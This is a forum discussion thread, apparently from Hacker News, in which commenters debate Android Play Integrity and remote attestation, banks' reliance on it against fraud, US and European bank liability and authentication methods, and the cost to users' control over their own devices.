Meaning to use your device you need to have a contractual relationship with a foreign (unless you are in the US) third party that decides what you can or cannot do with it. Plus using GrapheneOS is less of an option every day, since banks and other "regulated" sectors use Google Play Protect and similar DRMs to prevent you from connecting from whatever device you want. Client-side "trust" means the provider owning the device, not the user.
Android shouldn't be considered Open Source anymore, since source code is published in batches and only part of the system is open, with more and more apps going behind the Google ecosystem itself.
Maybe it's time for a third large phone OS, whether it comes from China getting fed up with the US and Google's shenanigans (Huawei has HarmonyOS but it's not open) or some "GNU/Linux" touch version that has a serious ecosystem. Especially when more and more apps and services are "mobile-first" or "mobile-only" like banking.
I think Play Integrity is the fundamental issue here, and needs to go. That's the crux of the issue.
Allowing apps to say "we only run on Google's officially certified unmodified Android devices" and tightly restricting which devices are certified is the part that makes changes like this deeply problematic. Without that, non-Google Android versions are on a fair playing field; if you don't like their rules, you can install Graphene or other alternatives with no downside. With Play Integrity & attestation though you're always living with the risk of being cut off from some essential app (like your bank) that suddenly becomes "Google-Android-Only".
If Play Integrity went away, I'd be much more OK with Google adding restrictions like this - opt in if you like, use alternatives if you don't, and let's see what the market actually wants.
Banks seem to actually "want" Play Integrity. At least they act like it. I bet they would like for normal online banking on user-controlled devices to completely go away.
Of course they do, and of course they would. Banks are in a crazy legal position where they are financially liable for user stupidity. If my bank account gets breached, it doesn't matter that I didn't take any reasonable security measures, the bank will still have to refund me. If the bank could say "you didn't follow our recommended security practices to use a PW manager and MFA or passkeys, so it's a FAFO situation for you," then they wouldn't be pushing for this stuff. But they can't do that because the government doesn't allow them to.
There is even government regulator pressure now for financial services to be liable for cases where the user legitimately authorizes a transaction to a party that turns out to be a scammer. Of course the banks want to watch your every move and control your devices. They would be stupid not to given the incentives.
In what country do you live? In America, users are liable for the banks stupidity. If they don’t verify credentials and give away all of my money, I do NOT get it refunded, they are NOT responsible, and I am the victim of “identity theft.”
I live in America. I have got back every single cent I have lost due to fraudulent charges on my account. Furthermore, I was refunded instantly by the bank pending investigation.
The bank you have did the right thing and I think most banks and credit unions will do this, as it’s bad for a lot of reasons not to.
That said, the legal obligations around how this works is very different. One of the reasons common advice is use a credit card for online purchases instead if a debit card or checking account link is because of the fact that they have different liability expectations around fraud[0]
[0]: there are of course a multitude of good reasons for this advice generally speaking, but this one is cited a lot
You are incorrect. This isn’t good will measures, these are required by law. The EFTA, for example, requires banks to make you whole against fraudulent ATM transactions. The CC recommendation is more about you having more time and flexibility to dispute the charge without risking access to cash; most Americans don’t even have a few thousand dollars in cash so a fraudulent ATM withdrawal is a major problem. But if you have a good chunk of cash the fraudulent ATM transaction will not really be felt by you provided you follow the requirements about notification (you have 2 days after noticing to report it to the bank).
The losses due to fraudulent CC activity are governed by the FCBA.
It’s shocking how people think companies do this kind of stuff out of good will rather than being forced by law.
Are you mixing up fraudulent credit card charges? Because that's a whole lot other story. I can't even imagine you would be able to get any fraudulent debit card charges back from the bank.
I got a call from the bank asking if I'd spent over $8k today on my debit card at a mall and restaurant in a shady part of town... I said no, and they ended up refunding me and issuing me a new card.
They did ask me to make a statement to the police, which I did.
Funnily enough when I talked to the police, they said, "Oh, $7k, is that all? Just today we had someone lose over $140k".
How do you even spend $140k on a credit card? Must have been a platinum card or whatever.
I'm in Australia, not sure how different things are here.
Interesting. In EU the bank's liability is typically limited. However, but now that I think of it, they are only liable for bigger sums, not petty theft. So if you get scammed of up to, say, 200 euro, they don't care. Anything more than that, they do.
Most of that “app” security is requiring to use Symantec’s app which doesn’t actually require Symantec - there’s plenty of guides online showing how to register any authenticator app instead.
My bank doesn't allow access through a browser. It has to be the app or else you have to travel to their HQ in person (I guess) and close your account.
Can I ask what bank and why on Earth you continue to give them your business?
I guess I'm unusual in that I've been using an "online" only bank for 20 years (back then it wasn't so online... I had a stack of UPS overnight envelopes for check deposits), but I cannot imagine patronizing a bank that won't let me log in and do basically anything from a browser.
do they still allow you to download your transactions to your phone and get them to your pc that way? just curious, I'd be screwed, I don't know how to install apps on my phone.
Only because it's there. I don't think the would demand it if it wasn't offered, but once it's there imagine being in a bank and saying to management "it recommend we don't enable this security feature that works on 99.99999% of phones".
As someone who used to work for a bank building applications I would say no. This is definitely a feature companies and organizations like banks would request if it wasn't available.
There are a lot of scams targeting vulnerable people and these days attacking the phone is a very "easy" way of doing this.
Now perhaps there is a more forgiving way of implementing it though. So your phone can switch between trusted and "open" mode. But realistically I don't think the demand is big enough for that to actually matter.
Play integrity does almost nothing to prevent malicious actors. In fact, id say overall it's probably more harmful because it gives actors like Banks false confidence.
Even with play integrity, you should not trust the client. Devices can still be compromised, there are still phony bank apps, there are still keyloggers, etc.
With the Web, things like banks are sort of forced to design apps that do not rely on client trust. With something like play integrity, they might not be. That's a big problem.
I've worked on such systems. Love it or hate it, remote attestation slaughters abuse. It is just much harder to scale up fraud schemes to profitable levels if you can't easily automate anything. That's why it exists and why banks use it.
Wouldn't device-bound keys for a set of trusted issuing secure elements (e.g. Yubikeys) work just as well but without locking down the whole goddamn software stack?
RA schemes don't lock down the whole software stack, just the parts that are needed to allow the server to reason about the behavior of the client. You can still install whatever apps you want, and those apps can do a lot of customization e.g. replace the homescreen, as indeed Android allows today.
You need to attest at least the kernel, firmware, graphics/input drivers, window management system etc because otherwise actions you think are being taken by the user might be issued by malware. You have to know that the app's onPayClicked() event handler is running because the human owner genuinely clicked it (or an app they authorized to automate for them like an a11y app). To get that assurance requires the OS to enforce app communication and isolation via secure boundaries.
That's waay too much locking down, and while it gives me some control, it does not give me real control. I cannot remove or modify software in the software stack whose behavior I disagree with (e.g. all of Play Services). I can't replace the OS with a more privacy and security focused OS like GrapheneOS.
Imagine if this was done for desktop computers before we had smartphones. That's just crazy.
Relying on hardware-bound keys is fine, but then the scope of the hardware and software stack that needs to be locked down should be severely limited to dedicated, external hardware tokens. Having to lock down the whole OS and service stack is just bad design, plain and simple, since it prioritizes control over freedom.
1. I don't believe you. This is a measurement problem - you eliminated an avenue to measure abuse, because you are now just assuming abuse doesn't happen because you trust the client.
2. It does not eliminate any meaningful types of fraud. Phishing still works, social engineering still works, stealing TOTP codes still works.
Ultimately I don't need to install a fake app on your phone to steal your money. The vast, vast majority of digital bank fraud is not done this way. The vast majority of fraud happens within real bank apps and real bank websites, in which an unauthorized user has gained account access.
I just steal your password or social engineer your funds or account information.
This also doesn't stop check fraud, wire fraud, or credit card fraud. Again - I don't need a fake bank app to steal your CC. I just send an email to a bad website and you put in your CC - phishing.
1. Well, going into denial about it is your prerogative. But then you shouldn't express bafflement about why this stuff is being used.
Nobody is making mistakes as dumb as "we fixed something we can measure so the problem is solved". Fraud and abuse have ground-truth signals in the form of customers getting upset at you because their account got hacked and something bad happened to them.
2. This stuff is also used to block phishing and it works well for that too. I'd explain how, but you wouldn't believe me.
You mention check fraud so maybe you're banking with some US bank that has terrible security. Anywhere outside the USA, using a minimally competent bank means:
• A password isn't enough to get into someone's bank account. Banks don't even use passwords at all. Users must auth by answering a smartcard challenge, or using a keypair stored in a secure element in a smartphone that's been paired with the account via a mailed setup code (usually either PIN or biometric protected).
• There is no such thing as check fraud.
• There is no such thing as credit card phishing either. All CC transactions are authorized in real time using push messaging to the paired mobile apps. To steal money from a credit card you have to confuse the user into authorizing the transaction on their phone, which is possible if they don't pay attention to the name of the merchant displayed on screen, but it's not phishing or credential theft.
> Nobody is making mistakes as dumb as "we fixed something we can measure so the problem is solved".
There is an entire name for this: dark pattern.
People make this mistake all the time. Its a very common measurement problem, because measuring is actually very hard.
Are we measuring the right thing? Does it mean what we think it means? Companies spend hundreds of billions trying to answer those questions.
2. Not it cannot block phishing because if I get your password, I can get in.
To your points:
- yes, banks in the US use one time codes too. Very smart of you, unfortunately not very creative. Trivial to circumvent in most cases. Email is the worst, SMS better, TOTP best.
TOTP doesn't matter if the user just takes their code and inputs it into whatever field.
- yes there is such a thing as check fraud, you not knowing what it is doesn't matter.
- if I had to authorize each CC transaction on my phone, I'd put a bullet in my head. That's shit.
Yeah this thread boils down to US vs rest-of-world confusion. Or maybe a US vs Europe confusion.
TOTP, which you say is best, is considered weak sauce outside the US. I don't know any banks that have used it for a very long time. It's not secure enough. Cheques were phased out decades ago. There are entire generations in Europe who have never even seen a cheque, let alone written one. I think the last time I had a chequebook issued it was in 2004.
IIRC the differences arise because in the US consumer legislation makes merchants liable for refunding fraudulent transactions, so banks and consumers have no incentive to improve security and merchants can't do it except via convoluted and hardly working risk analysis. It's just so easy to do chargebacks there that nobody bothers fixing the infrastructure. This pushes everyone into the arms of Amazon and the like because they have the most data for ML.
Outside the US and especially in Europe, merchants aren't liable for fraudulent transactions if they verified the credentials correctly. It's much harder to do chargebacks as a consequence. Even if a merchant delivered subpar stuff or there was some other commercial dispute, chargebacks are very hard (I tried once and the bank just refused). So liability shifts to banks, unless they can show that the transaction was authorized by the account holder and they had correct information. That means banks and merchants are incentivized to improve security, and they do.
This is just blatantly false. Literally every bank in Denmark which is not an e-bank lets you do everything with a browser and the national digital identity, MitID. MitID offers an app, but they also offer alternatives both in the form of TOTP generators and NFC/USB hardware chips.
If by TOTP you mean an app like Google Authenticator, those are expected to be phones, aren't they? And the other things, as we already discussed, are hardware systems they can remotely attest - not browsers on their own.
People seem to be getting really hung up on this point. Accepting a browser means letting you do everything with nothing but whatever program you want that speaks HTTP. No special apps or authenticators or extra tokens. You should be able to write a plain Python script that sends money whenever it wants, on its own.
European banks do not allow this in my experience, and nothing being posted to this thread indicates otherwise. Apparently there are some banks especially in the USA who just don't care about security at all because they can push fraud costs onto merchants, so they do accept browsers for everything, or they make some trivial effort and if users undermine it using Google Voice or whatever they don't care - that's fine, I overgeneralized by saying "banks" instead of geographically qualifying it. Mea culpa.
But in your case, you need the assistance of something that's not a browser.
I thought that was what you meant too? If you mean TOTP via a QR code exposing the secret, then of course I agree, no banks allow that. But your comment read as a claim that all TOTP solutions were inherently deemed insecure and wouldn't work, and that smartphone based solutions were the only viable alternative outside the US. The code display is of course vulnerable to man-in-the-middle attacks where you trick users into authorizing transactions via fake web pages, but it is not a threat that is deemed serious enough to prevent our whole country from basing our digital infrastructure on code displays.
I think people get hung up on your point about banks not accepting browsers because you don't formulate your point very clearly, and it reads like you claim that they don't accept browsers at all when what you mean is just a browser and nothing else. Most European banks do in fact allow you to do business using a browser - you just have to prove your identity via other means as well. And there are no good security arguments why those means must be in the form of a smartphone app whose security requirements have the side effect of locking you into a business relationship with one of two American tech giants. As you can see, a whole country of almost six million people authenticates everything from bank transactions to naming their kids and buying houses using a system which allows you to use just a code display.
I think the strategy of remote attestation of the whole OS stack up to and including the window manager is a clunky and inelegant approach from an engineering perspective, and from a freedom perspective I think it is immoral and should be illegal. What I could accept would be an on-phone security module with locked down firmware which can simply take control of the whole screen regardless of what the OS is doing, with a clear indicator of when it is active. This allows you to authorize transactions and inspect their contents, and only needs remote attestation of the security module, not the whole OS.
Well it is still a phone after all, what with UMA and baseband processing. You don't need to spend much time at Blackhat/Defcon to realize any true attempts at sealing it up are akin to plugging leaks in a sieve with epoxy. Its far too porus.
Meanwhile if attestation does reduce fraud, the ownability (by the user) of the device is now forfeit due to chasing a dragon's tail.
That’s a “seatbelts so no good because people still die in car crashes” argument with a topping of “actually they’re bad because they give you a false sense of security”
Play integrity hugely reduces brute force and compromised device attacks. Yes, it does not eliminate either, but security is a game of statistics because there is rarely a verifiably perfect solution in complex systems.
For most large public apps, the vast majority of signin attempts are malicious. And the vast majority of successful attacks come from non-attested platforms like desktop web. Attestation is a valuable tool here.
How does device attestation reduce bruteforce? Does the backend not enforce the attempt limits per account? If so, that's would be considered a critical vulnerability. If not, then attestation doesn't serve that purpose.
As for compromised devices, assuming you mean an evil maid, Android already implements secure boot, forcing a complete data wipe when breaking the chain of trust. I think the number of scary warnings is already more than enough to deter a clueless "average user" and there are easier ways to fish the user.
And those apps use MEETS_DEVICE_INTEGRITY rather than MEETS_STRONG_INTEGRITY so a compromised device can absolutely be used to access critical services. (Usually because strong integrity is unsupported on old devices)
This reminds me of providers like Xiaomi making it harder to unlock the bootloader due to phones being sold as new but flashed with a compromised image.
Maybe a good compromise is to change the boot screen to have a label that the phone is running an unofficial ROM, just like it shows one for unlocked bootloaders? If the system can update that dynamically based on unlock state, why can't it do it based on public keys? Might also discourage vendors/ROM devs from using test keys like Fairphone once did.
I developed this stuff at Google (JS puzzles that "attest" web browsers), back in 2010 when nobody was working on it at all and the whole idea was viewed as obviously non-workable. But it did work.
Brute force attacks on passwords generally cannot be stopped by any kind of server-side logic anymore, and that became the case more than 15 years ago. Sophisticated server-side rate limiting is necessary in a modern login system but it's not sufficient. The reason is that there are attackers who come pre-armed with lists of hacked or phished passwords and botnets of >1M nodes. So from the server side an attack looks like this: an IP that doesn't appear anywhere in your logs suddenly submits two or three login attempts, against unique accounts that log in from the same region as that IP is in, and the password is correct maybe 25%-75% of the time. Then the IP goes dormant and you never hear from it again. You can't block such behavior without unworkable numbers of false positives, yet in aggregate the botnet can work through maybe a million accounts per day, every day, without end.
What does work is investigating the app doing the logging in. Attackers are often CPU and RAM constrained because the botnet is just a set of tiny HTTP proxies running on hacked IoT devices. The actual compute is happening elsewhere. The ideal situation from an attacker's perspective is a site that is only using server side rate limiting. They write a nice async bot that can have tens of thousands of HTTP requests in flight simultaneously on the developer's desktop which just POSTs some strings to the server to get what they want (money, sending emails, whatever).
Step up the level of device attestation and now it gets much, much harder for them. In the limit they cannot beat the remote attestation scheme, and are forced to buy and rack large numbers of genuine devices and program robotic fingers to poke the screens. As you can see, the step-up from "hacking a script in your apartment in Belarus" to "build a warehouse full of robots" is very large. And because they are using devices controlled by their adversaries at that point, there's lots of new signals available to catch them that they might not be able to fix or know about.
The browser sandbox means you can't push it that far on the web, which is why high value targets like banks require the web app to be paired with a mobile app to log in. But you can still do a lot. Google's websites generate millions of random encrypted programs per second that run inside a little virtual machine implemented in Javascript, which force attackers to use a browser and then look for signs of browser automation. I don't know how well it works these days, but they still use it, and back when I introduced it (20% time project) it worked very well because spammers had never seen anything like it. They didn't know how to beat it and mostly just went off to harass competitors instead.
I may be mis-understanding, but it sounds like this kind of widely distributed attack would also be stoppable by checking how often the account is attempting to log in? And if they're only testing two or three passwords _per account_, per day, then Google could further block them by forcing people not to use the top 10,000 popular passwords in any of the popular lists (including, over time, the passwords provided to Google)?
The attackers only try one or two passwords, that they hacked/phished. They aren't guessing popular passwords, usually they know the correct password for an account and would log in successfully on the first try. There are no server side signals that can be used to rate limit them, especially as the whole attack infrastructure is automated and they have unlimited patience.
Forgive me for being reductive, but aren't these leaked accounts a lost cause? The vulnerability in question is attackers being able to log into user accounts with leaked credentials. The only mitigation for this is to lock out users identified in other password breeches and reconfirm identity out-of-band, like through a local bank branch, add a second factor like a hardware token, or use restrictive heuristics like IP geolocation consistency between visits.
If 3 attempts per hour is enough to gain access, then it doesn't seem attestation can save you. I imagine a physical phone farm will still be economically viable in such case.
Yes that's what companies do. I worked on the system there that addressed this. If you can detect a botted login you can lock the account until the real user is able to get new credentials, or block activity in other ways. Not a lost cause at all.
It was very effective when this problem was new. Don't know about the current state of things.
> an IP that doesn't appear anywhere in your logs suddenly submits two or three login attempts
How is the attacker supposed to bruteforce anything with 2-3 login attempts?
Even if 1M node submitted 10 login attempts per hour, they would just be able to try 7 billion passwords per month per account, that's ridiculously low to bruteforce even moderately secure passwords (let alone that there's definitely something to do on the back end side of things if you see one particular account with 1 million login attempts in a hour from different IPs…).
Brute force here can mean they try millions of accounts and get into maybe a quarter of them on their first try, not that they make millions of tries against a single account.
That's a very uncommon understanding of brute force, to be honest. Generally I see the term applied to cases where there's next to no prior knowledge, just enumeration.
Well, I'd have picked a different word in this context. I'm just explaining why attestation fixes the problem described by the OP as seen in modern contexts and rate limiting doesn't.
If you have an attacker that can gain access on 25% of its attempts, it doesn't matter it there is a botnet with millions of IPs, they would still have around 25% success rate on just 10 IPs, it bas nothing to do with brute force, it just means you have plenty of compromised accounts in the wild and you want to prevent bad actors from using them at scale.
The threat model is entirely different from what your brute force phrase implies, and it is also a threat model that isn't relevant to banking, which was the topic of the discussion in the first place. And more importantly, it doesn't affect the security of the user.
Its not that type of argument, because seatbelts actually work - play integrity does not.
Play integrity is just DRM. DRM does not prevent the most common types of attack.
If I have your password, I can steal your money. If I have your CC, I can post unauthorized transactions.
Attestation does not prevent anything. How would attestation prevent malicious login attempts? Have you actually sat down and thought this through? It does not, because that is impossible.
The vast, vast VAST majority of exploits and fraud DO NOT come from compromised devices. They come from unauthorized access, which is only surface level naively prevented by DRM solutions.
For example, HBO Max will prevent unauthorized access for DRM purposes in the sense that I cannot watch a movie without logging in. It WILL NOT prevent access if I log in, or anyone else on Earth logs in. Are you seeing the problem?
Cool. So you run a baking website. You get several hundred thousand legit logins a day, maybe ten million that you block. Maybe a hundred million these days.
Now, you have a bucket of mobile users coming to you with attestation signals saying they’ve come from secure boot, and they are using the right credentials.
And you’ve got another bucket saying they’ve are Android but with no attestation, and also using the right credentials.
You know from past experience (very expensive experience) that fraud can happen from attested devices, but it’s about 10,000 times more common from rooted devices.
Do you treat the logins the same? Real customers HATES intrusive security like captchas?
Are you understanding the tech better now? The entire problem and solution space are different from what you think they are.
> You know from past experience (very expensive experience) that fraud can happen from attested devices, but it’s about 10,000 times more common from rooted devices.
1. I don't believe this research - measurement is hard. If we just consider using an unattested device as malicious, as we do now with the play integrity API, then you fudge the numbers.
2. Even IF the research is true, relative probability is doing the heavy lifting here.
There's still going to be more malicious attempts from attested devices than those unattested. Why? Because almost everyone is running attested devices. Duh.
Grandma isnt going to load an unsigned binary on her phones. Let's just be fucking for real for one second here.
No, she's gonna take a phone call and write a check, or get an email and go to a sketchy website and enter her login credentials and then open the investable 2FA email and then enter the code she got into the website. Guess what - you don't need a rooted device for that. You just don't.
There are extremely high effort malicious attempts, like trying to remotely rootkit someone's phone, and then low effort ones - like email spam and primitive social engineering.
You guess which ones you actually see in the wild.
Is there a real threat here? Sure. But threat modeling matters. For 99.99% of people, their threat model just does not involve unsigned binaries they manually loaded.
Why are we sacrificing everything to optimize for the 0.01%? When we havent even gotten CLOSE to optimizing the other 99.99%?
> That’s a “seatbelts so no good because people still die in car crashes”
Except it's not a seatbelt, it's straitjacket with a seatbelt pattern drawn on it: it restrain the user's freedom in exchange for the illusion of security.
And like a straightjacket, it's imposed without user consent.
The difference with a straightjacket is that there's no doctor involved to determine who really needs it for security against their own weakness and no due process to put boundaries on its use, it's applied to everyone by default.
Great. Let's just require every single computing device to be verified, signed, and attested by a government agency. Just in case it is ever misused to attack a Google online service that cannot be possibly bothered to actually spend one nanosecond thinking on security.
What could possibly go wrong. It's not only morally questionable no matter what "advantages" it provides Google, but it's also technically ridiculous because _even if every single computing device was attested_, by construction I can still trivially find ways to use them to "brute force" Google logins. The technical "advantage" of attestation immediately drops to 0 once it is actually enforced (this is were the seatbelts analogy falls apart).
Next thing I suggest after forcing remote attestation on all devices is tying these device IDs to government-issued personal ID. Let's see how that goes over. And then for the government to send the killing squad once one of these devices is used to attack Google services. That should also improve security.
Here's the dystopian future we're building, folks. Take it or leave it. After all, it statistically improves security!
Yes, for SOME subset of attackers (car crashes), for SOME subset of targets (passengers), the mitigations don’t solve the problem.
This is not the anti-attestation / anti-seatbelt argument many think it is.
All security is mitigation. There is non perfection.
But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
I think your enthusiasm for melodrama and snark may be clouding your judgment of the actual topic.
> Yes, for SOME subset of attackers (car crashes), for SOME subset of targets (passengers), the mitigations don’t solve the problem.
I won't solve the problem for _anyone_ once it is required, because it is trivial to bypass once the incentive is there. This is what kills this technically; it does not even go into the other cons (which really should not be ignored). Seatbelts absolutely do not have this problem.
> All security is mitigation. There is non perfection.
This is an absolutely meaningless tautology. It is perfectly true statement. It adds absolutely nothing to the discussion.
Say I argue in favor "putting a human to verify each and every banking transaction with a phone call to the source and the destination". And then you disagree, saying that there will be costs, waste of time for everyone, and that the security improvement will be minimal at best. And then I counter with "All security is mitigation, there is no perfection!".
Can you see what you're doing here? This is another textbook example of the politician's fallacy (something must be done; this is something; therefore we must do this).
It is trying to bypass the discussion on the actual merits of the proposal as well as its cons by saying "well it does something!" . True, it does something. So what? If the con is bad enough, or if the benefit too small, maybe it's best NOT to do it anyway!
> But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
Not long we had right here in HN a discussion about the merits of remote attestion for anti-cheating: turns out the "lot of money" is a custom USB mouse (or addon to one) that costs cents to make. Sure, its not zero. You have to go more and more draconian in order to actually make it "a lot of money", but then you'll tell me I'm being melodramatic.
Probably not even that, but it limits liability and that’s the only purpose, just like the manual in your car, nobody will ever read it but it contains a warning for every single thing that could happen.
On the other hand, it's not really up to the bank. It's my money, not theirs.
I really wish I wouldn't need to have my money managed by some corporate drones in suits but it's really hard these days to do without a bank account.
This is why I was really into crypto at the beginning; it envisioned giving us control abck over what's ours. But all the KYC crap and the wishes of the speculators for more oversight basically made crypto the same nasty deal as the public banking sector.
It is desired enough that plenty of developers license third party libraries that roll their own device attestation, instead of or in addition to Play Integrity.
What's absurd though is that they have never demanded it for browsers. I think there is a much higher risk of someone being tricked into downloading a compromised browser with a backdoor than someone being tricked into downloading a modified version of their particular banking app. It gives the attacker the same level of control though.
Is this not more or less what Manifest is attempting to do? The headline grabber is that it disables ad-blocking but it's essentially trying to establish the browser as a "trusted" (owned) platform, no?
Banks have never accepted browsers. They don't need to because they can require the web app be paired with a mobile app or SMS code to log in. Before they used mobile apps they issued smartcard readers (at least they did everywhere I lived). The smartcard readers were also used to digitally sign transactions.
In other words, there aren't many banks that let you take sensitive actions with just a browser and that's been true since the start of online banking.
These days they also apply differential risk analysis based on the device used to submit a transaction and do things to push people towards mobile. For instance in Switzerland there's now a whole standard for encoding invoices in QR codes. To pay those you must use the mobile apps.
Edit: people are getting hung up on the "never accepted browsers" part. It means they only use the browser for unimportant interactions. For important stuff like login or tx auth, they expect the use of separate hardware that's more controlled like a SIM card/mobile radio, smartcard or smartphone app. Yes some banks are more lax than others but in large parts of the world this was always true since the start of online banking.
Thats ... false. Every bank I have used in Denmark allows me to log in and do all operations without an app. They require authentication and authorization using the national digital identity (MitID) which comes as an app, but also as a TOTP token and a FIDO (or similar) chip. No apps needed.
I guess the smartcard reader is equivalent. But my point is that locking down the OS of the phone is sufficient to establish client trust but not necessary. You should always be allowed to run the app without strong Play Integrity verification but then just be required to scan your hardware token with NFC in every authentication and authorization flow.
That's mostly prevalent in third-world countries like Brazil. I work for a fintech-turned-bank here and the biggest problem we have to deal with is fraudulent actions made by scammers who got access to users' accounts via social engineering. Outsiders don't know how prevalent scamming is in Brazil and how much is spent/lost trying to fight them and how that shapes the security vs convenience landscape. For example:
- I can't transfer a single cent if I didn't had my face and documents scanned after installing the bank app.
- I can't have the same bank account logged in two of my devices at the same time, all banks require you to use an account on a "verified" device (previous point).
- If I want to use a desktop to access my bank account, I have to either install a desktop client provided by the bank or be limited to just checking my balance. Some banks doesn't even allow you to log in if you don't have a "verified" device for doing 2FA.
I am very sure my higher ups are cheering with these news, even though it solves none of the problems.
I have used zelle many times from the browser. It's been a while, so maybe that has changed, though. I never even tried to deposit a check from the browser or an app, so you may be right on that point.
I have 3 different banks (well 2 banks and a credit union.) I can use Zelle in my browser from all 3. I don't even have the app installed for 2 of them.
In my country almost all banks removed their web apps. They existed like 15 years ago, before smartphones became widespread, but nowadays very few banks offer web apps, only mobile apps.
That's exactly what I'm saying. They don't let you take actions using only a web browser. If you don't use a mobile app they issue you with trusted hardware that performs a similar function (although usually less secure and not as convenient).
My bank does still allow login and txns to be authorized with a smart card reader. You have to type in fragments of the account number to authorize a new recipient. After that you can send additional transactions to that account without hardware auth.
Pure NFC tokens don't work because you need trusted IO.
Yeah but Google Voice isn't something you're meant to use to receive SMS codes. That's very US specific, and if you go there you've undermined the security the bank was trying to provide.
The reason they used SMS codes for a while is because phones have always tried to block malware from reading your screen or SMS storage whereas PCs don't, and because phones can do remote attestation protocols to the network as part of their login sequence. The SIM card contains keys used to sign challenges, and the network only allows authorized radio firmwares to log on. So by sending a code to a phone you have some cryptographic assurance that it was received by the right user and viewed only by them.
2FA and RA are closely related for that reason. The second factor is dedicated hardware which enforces that only a human can interact with it, and which can prove its identity cryptographically to a remote server. The mobile switching center, in the case of SMS codes.
Obviously, this was a very crude system because malware on the PC could intercept the login after the user authorized, but at least it stopped usage of the account when the user wasn't around. Modern app based systems are much more secure.
... which is why none of the banks I've used support it for many years now. It's a legacy example. Modern banks all rely on apps that bind to the secure element in the phone or they issue a smartcard reader.
Alright, I think I misunderstood you. I know most banks allow alternatives other than the app.
But just the fact that there are options which have the side effect of making you choose between convenience and digital autonomy is wrong, and I don't think remote attestation should even exist in the toolbox. We should make dedicated hardware solutions work better instead.
Dedicated hardware solutions are remote attestation. The smartcard OTC readers are doing exactly that: you sign a challenge with a private key that never leaves the smartcard and is paired to the bank at the factory. This is what remote attestation is doing behind the scenes, the only difference is the smartcard user interaction is much more limited. It's of no use for protecting your financial privacy, for example, only for stopping a hacked display device authorizing transactions.
If you evolve the smartcard based systems with better I/O capabilities, then you end up with a modern smartphone. At which point you may as well let the user supply their own rather than charging them lots of money for a dedicated device that's not much different.
No, I reject the idea that general purpose computing devices should be locked down to satisfy a very narrow security use case. I really don't believe that you end up with a smartphone, and I don't think you give a very good argument for why.
I am fine with locking down devices that have very limited security purposes. I am fine with my passport containing locked down hardware if it makes it harder to forge. But I am also not browsing the web on my passport, and therefore its security requirements cannot prevent me from removing ads.
OK, use a browser that lets you remove ads then! Android isn't iOS, you can run browsers that aren't Chrome and nothing about this change would stop you installing a custom browser with whatever features you want. Your banking app doesn't care what browser you use.
You are fundamentally misunderstanding my point about freedom.
Yes, I can do it now, but this is only because Google allows me to do that on their approved Android distribution, not because they are unable to prevent me from doing it. I don't trust them to not take away that freedom from me as soon as they can be sure that they can afford the anti-trust lawsuit since their core business model is to show me ads.
I know that my bank doesn't care about my browser, but by relying on Play Integrity they are indirectly forcing me to operate in Google's control regime in every other aspect on my device.
I don't want them to control my software stack, period. I don't care if they act as the good guys right now, they have been steadily doing downhill in the moral department and I expect them to continue to do so.
I don't understand how you can act like there is no problem at all with technology like this.
I work in fintech, formerly as a contractor for some major banks, and absolutely nothing you say is true, generally.
This might be the case for a couple of banks - or maybe in one or two specific countries, but broadly, none of what you've said here applies to banks anywhere else in the world.
Which banks outside the US allow you to submit payments using only an arbitrary desktop browser, without any other device getting involved? No mobile phones to receive codes, no smartcard readers, no secure elements, nothing except a browser and a password? I have never encountered such a bank.
I’m not sure why “outside the US” is a factor here, but nearly every bank in the world. Some only require email verification, some don’t even require that.
There are banking systems in some countries that do not even require an ATM/Debit card for automated withdrawals, just an account number and grouping code.
It's fascinating that people have had such different experiences here.
In my entire life, I have never banked anywhere that would let you transact or log in with just a desktop browser. You seem to be convinced this is an edge case but every bank in Europe works this way, as far as I know. There are US financial institutions that would do this, but the US financial system is uniquely fraud prone to a level just not tolerated elsewhere. It lagged years behind on chip-and-PIN cards for instance, and largely never managed to roll it out. The US treats bank account numbers as credentials and other stuff that doesn't apply elsewhere.
Just look at this thread: plenty of people saying what I'm saying. If you bank somewhere that lets people use just a browser to do transactions, you're either in an environment where fraud doesn't matter at all, or you're with a bad bank and should leave them.
Have you considered that Europe is a fractional part of the world with close international relationships to its geographical neighbors and does not represent the rest of the world's experiences?
You mention the US as lagging behind Europe, which is true - but I assure you from my experience working in international fintech from the US, there are more people in the world than the entire population of my country with even worse banking security controls by default.
> In other words, there aren't many banks that let you take sensitive actions with just a browser and that's been true since the start of online banking.
when I started online banking I used a browser and a TAN list for years. No apps required
"Browser and TAN list" is equivalent to "Browser and app". A browser can't be used in isolation, there is and was always some second factor required for online banking, but a banking app can be used in isolation.
If play integrity went away, all mainstream Android users would suddenly experience a huge increase in captchas and other security measures.
It’s funny to see the volume of comments on HN from folks who are outraged at how AI companies ferociously scrape websites, and the comments disliking device attestation, and few comments recognizing those are two sides of the same coin.
Play integrity (and Apple’s PAT) are what allow mobile users to have less headaches than desktops. Not saying it’s a morally good thing (tech is rarely moral one way or the rather) just that it’s a capability with both upsides and downsides for both typical and power users.
There is no logical inconsistency in disliking abusive scraping, remote attestation, malware, and CAPTCHAs at the same time. Of these, I merely dislike CAPTCHA while I make moral judgments about the other three.
I see creating a mechanism for remote attestation of consumer devices as morally bad because it's a massive transfer of power away from end users to corporations and governments. A scheme where only computers blessed by a handful of megacorporations can be used to interact with the wider world will be used for evil even if current applications are fairly benign.
Yeah, its like the world has been turned into one giant corporation, and the only computers you can use on it are corporate, botted, Active Directory joined, crap. All machines are belong to them.
Play Integrity's highest level of attestation features requires devices to be running a security update which is within a sliding window of 1 year.
LOTS of Android devices have not released a security update in many many years. This forces users to unnecessarily upgrade to higher end OEMs.
Google is effectively pushing out Xiaomi, Huawei, and many others that offer excellent budget options. Google is not just offering you the comfort of not having to fill out CAPTCHAs on your phone, most importantly they are playing monopoly.
They can, it would likely just increase the cost of cheap devices to end users, as the manufacturer now has to provide additional software support and does not want to lose money.
Because when you buy most smartphones, you're buying a vendor locked device and choosing to stay within their ecosystem. That's how Google has designed their monopoly. Apple is the same way, but non-fragmented.
You've never had to wait for Dell to type apt update and apt upgrade, but MacOS users have to wait for Apple to update their computer.
These manufacturers gladly took in AOSP back in 2011 when it was still truly a great open source project - exactly as the name should require it to be - and also when security requirements were much much lower. Of course to keep up with device security it turns out you need complete control over the whole stack and regular updates anyway, so now these manufacturers are in a pickle of a situation.
Its possible the forced apps are a cost recouping mechanism. But how does a phone bootloader being locked down become Google's fault? Does it mandate that for some kind of Android certification?
